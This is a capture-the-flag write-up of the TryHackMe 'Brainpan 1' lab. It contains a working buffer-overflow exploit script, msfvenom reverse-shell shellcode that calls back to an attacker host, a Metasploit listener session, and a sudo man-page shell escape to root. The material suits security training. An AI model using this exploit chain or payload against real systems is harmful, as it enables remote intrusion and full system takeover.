TryHackMe - Brainpan 1 Writeup
Table of Contents
Recon #
Firstly, we run nmap
:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/tryhackme/brainpan_1]
└─$ nmap -A 10.10.62.166
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-19 12:59 CET
Nmap scan report for 10.10.62.166
Host is up (0.040s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
9999/tcp open abyss?
| fingerprint-strings:
| NULL:
| _| _|
| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
| _|_| _| _| _| _| _| _| _| _| _| _| _|
| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
| [________________________ WELCOME TO BRAINPAN _________________________]
|_ ENTER THE PASSWORD
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.93%I=7%D=12/19%Time=63A0521A%P=aarch64-unknown-linux-g
SF:nu%r(NULL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\
SF:|_\|_\|\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x
SF:20\x20\x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x
SF:20_\|\x20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20
SF:\x20_\|\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\
SF:|\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\
SF:|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\
SF:|\x20\x20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x
SF:20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x2
SF:0\x20\x20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRA
SF:INPAN\x20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:ENTER\x20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\n\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.48 seconds
There is a program running behind 9999
port and a python
http server on port 10000
.
By running the following command, we are able to connect to port 9999
and submit a password. Maybe the input is vulnerable to BoF ?
Now, let’s try to connect to the webserver:
That’s a simple page about safe coding. We’ll enumerate directories with gobuster
:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/tryhackme/brainpan_1]
└─$ gobuster dir --url http://10.10.62.166:10000 -b 404,400,500,503 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.62.166:10000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404,400,500,503
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
===============================================================
2022/12/19 13:06:30 Starting gobuster in directory enumeration mode
===============================================================
/bin (Status: 301) [Size: 0] [--> /bin/]
As there is a bin
direcotory, we’ll look at it and there is an executable that we can download:
That’s a PE32
executable:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/tryhackme/brainpan_1]
└─$ file brainpan.exe
brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Therefore, we need a Windows 32bits machine, we’ll use Windows 7.
Let’s open the program with Immunity Debugger:
Fuzzing #
We’ll try to send a large amount of bytes to the program an see if the program crashes:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/tryhackme/brainpan_1]
└─$ python3 fuzzer.py
Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing crashed at 600 bytes
Here is the script used:
#!/usr/bin/env python3
import socket, time, sys
ip = "10.10.23.92"
port = 9999
timeout = 5
string = "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
Find offset #
Now, we need to find the exact offset where the program is crashing. We begin by generating a pattern of 1000 bytes:
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/tryhackme/brainpan_1]
└─$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
Then, we add it in the payload variable in this script:
import socket
ip = "10.10.16.78"
port = 31337
offset = 0
overflow = "A" * offset
retn = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
padding = ""
postfix = ""
buffer = overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
Once the script is executed, we can see on Immunity Debugger where the program crashed, with the help of mona
:
As you can see, the EIP
offset is 524. Let’s add it to our script and set the retn
to BBBB
in order to check if EIP
is overwritten with 42424242
.
As you can see, EIP
is indeed overwritten with 42424242
:
Find Bad Chars #
Now, we need to find potentials bad chars in order to exclude jmp esp
addresses containg one of them. So we begin by generating a bytearray excluding \x0
with mona.
So we begin by setting the program folder, then we generate a bytearray:
!mona config -set workingfolder c:\mona\%p
!mona bytearray -b "\x00"
Then we use the following python script to generate a bytearray and add it on the payload variable of the previous script:
#!/usr/bin/env python
from __future__ import print_function
for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()
Once the application is crashed, we’ll compare the two bytearray. We need the ESP
address:
Apparently, there is no bad chars ! So we’ll exclude juste \x0
.
Find a jump point #
Now, we need to find a jump point (every jmp esp
intructions).
We choose the only address found and add it on the retn
variable. Be careful to write it in little endian.
Generate Payload #
Then, we generate a payload without the \x00
char.
┌──(parallels㉿kali-linux-2022-2)-[~/Workspace/tryhackme/brainpan_1]
└─$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.11.5.152 LPORT=4444 EXITFUNC=thread -b "\x00" -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
unsigned char buf[] =
"\xd9\xc7\xd9\x74\x24\xf4\xbf\x4d\x23\x40\xce\x5b\x2b\xc9"
"\xb1\x12\x31\x7b\x17\x03\x7b\x17\x83\x8e\x27\xa2\x3b\x21"
"\xf3\xd5\x27\x12\x40\x49\xc2\x96\xcf\x8c\xa2\xf0\x02\xce"
"\x50\xa5\x2c\xf0\x9b\xd5\x04\x76\xdd\xbd\x9c\x83\x18\xa5"
"\xc9\x91\x22\xc4\x55\x1f\xc3\x56\x03\x4f\x55\xc5\x7f\x6c"
"\xdc\x08\xb2\xf3\x8c\xa2\x23\xdb\x43\x5a\xd4\x0c\x8b\xf8"
"\x4d\xda\x30\xae\xde\x55\x57\xfe\xea\xa8\x18";
Prepend NOPs #
Since an encoder was likely used to generate the payload, you will need some space in memory for the payload to unpack itself. You can do this by setting the padding variable to a string of 16 or more \x90
bytes:
padding = "\x90" * 16
PoC #
Let’s start a listener and exploit the vulnerable app !
┌──(parallels㉿kali-linux-2022-2)-[~]
└─$ msfconsole
Call trans opt: received. 2-19-98 13:24:18 REC:Loc
Trace program: running
wake up, Neo...
the matrix has you
follow the white rabbit.
knock, knock, Neo.
(`. ,-,
` `. ,;' /
`. ,'/ .'
`. X /.'
.-;--''--.._` ` (
.' / `
, ` ' Q '
, , `._ \
,.| ' `-.;_'
: . ` ; ` ` --,.._;
' ` , ) .'
`._ , ' /_
; ,''-,;' ``-
``-..__``--`
https://metasploit.com
=[ metasploit v6.2.26-dev ]
+ -- --=[ 2264 exploits - 1189 auxiliary - 404 post ]
+ -- --=[ 951 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Metasploit can be configured at startup, see
msfconsole --help to learn more
Metasploit Documentation: https://docs.metasploit.com/
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.11.5.152
lhost => 10.11.5.152
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.11.5.152:4444
[*] Command shell session 1 opened (10.11.5.152:4444 -> 10.10.16.78:54973) at 2022-12-19 13:37:52 +0100
Exploit #
We just need to modify the IP address on the script and run it:
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.11.5.152:4444
[*] Command shell session 1 opened (10.11.5.152:4444 -> 10.10.62.166:54973) at 2022-12-19 13:37:52 +0100
Privesc #
After upgrading the shell, we run sudo -l
and we are allowed to execute a program as sudo:
puck@brainpan:/home/puck$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util
puck@brainpan:/home/puck$ /home/anansi/bin/anansi_util
/home/anansi/bin/anansi_util
bash: /home/anansi/bin/anansi_util: Permission denied
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
- network
- proclist
- manual [command]
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util network
sudo /home/anansi/bin/anansi_util network
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP qlen 1000
link/ether 02:3b:75:70:1b:41 brd ff:ff:ff:ff:ff:ff
inet 10.10.62.166/16 brd 10.10.255.255 scope global eth0
inet6 fe80::3b:75ff:fe70:1b41/64 scope link
valid_lft forever preferred_lft forever
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util proclist
sudo /home/anansi/bin/anansi_util proclist
top - 06:40:20 up 42 min, 0 users, load average: 0.00, 0.01, 0.05
Tasks: 77 total, 1 running, 76 sleeping, 0 stopped, 0 zombie
%Cpu(s): 0.2 us, 0.2 sy, 0.0 ni, 98.3 id, 1.1 wa, 0.0 hi, 0.0 si, 0.2 st
KiB Mem: 2065044 total, 156680 used, 1908364 free, 11740 buffers
KiB Swap: 520188 total, 0 used, 520188 free, 104756 cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
1 root 20 0 3500 1848 1280 S 0.0 0.1 0:00.50 init
2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd
3 root 20 0 0 0 0 S 0.0 0.0 0:00.24 ksoftirqd/0
6 root rt 0 0 0 0 S 0.0 0.0 0:00.00 migration/0
7 root rt 0 0 0 0 S 0.0 0.0 0:00.01 watchdog/0
8 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 cpuset
9 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 khelper
10 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kdevtmpfs
11 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 netns
12 root 20 0 0 0 0 S 0.0 0.0 0:00.00 xenwatch
13 root 20 0 0 0 0 S 0.0 0.0 0:00.13 xenbus
14 root 20 0 0 0 0 S 0.0 0.0 0:00.00 sync_supers
15 root 20 0 0 0 0 S 0.0 0.0 0:00.00 bdi-default
16 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 kintegrityd
17 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 kblockd
18 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 ata_sff
19 root 20 0 0 0 0 S 0.0 0.0 0:00.00 khubd
One of the command of the program allows you to run the man
command.
Let’s check on gtfobins
if we can spawn a shell with man
:
Let’s try it !
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util manual man
sudo /home/anansi/bin/anansi_util manual man
# Here a man page spawned and we have entered !/bin/sh
No manual entry for manual
# id
id
uid=0(root) gid=0(root) groups=0(root)